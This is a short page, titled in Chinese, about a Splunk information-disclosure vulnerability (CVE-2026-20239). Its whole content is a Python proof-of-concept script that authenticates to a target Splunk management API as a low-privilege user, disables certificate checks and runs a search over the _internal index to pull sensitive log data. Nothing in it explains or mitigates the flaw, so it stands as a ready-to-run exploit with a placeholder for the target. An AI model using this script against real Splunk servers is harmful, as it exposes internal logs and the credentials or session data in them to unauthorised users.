CVE-2026-20239 Splunk敏感信息泄露漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-20239 Demonstrates searching for sensitive data in _internal index. """ import requests import json # Configuration SPLUNK_HOST = "https://<target-splunk-host>:8089" USERNAME = "low_priv_user" PASSWORD = "user_password" SEARCH_QUERY = 'search index=_internal (sourcetype="splunkd" OR sourcetype="splunk_web_access") | head 100' def get_session_key(): """Authenticate and get session key.""" url = f"{SPLUNK_HOST}/services/auth/login" data = {'username': USERNAME, 'password': PASSWORD, 'output_mode': 'json'} # Disable SSL verification for testing purposes only response = requests.post(url, data=data, verify=False) if response.status_code == 200: return response.json().get('sessionKey') return None def search_sensitive_data(session_key): """Execute search on _internal index.""" url = f"{SPLUNK_HOST}/services/search/jobs" headers = {'Authorization': f'Splunk {session_key}'} data = {'search': SEARCH_QUERY, 'output_mode': 'json'} response = requests.post(url, headers=headers, data=data, verify=False) if response.status_code == 201: print("[+] Search job created successfully.") # In a real scenario, you would poll for results using the SID print(f"[+] Response: {response.text}") else: print(f"[-] Failed to create search job: {response.status_code}") if __name__ == "__main__": key = get_session_key() if key: search_sensitive_data(key) else: print("[-] Authentication failed.")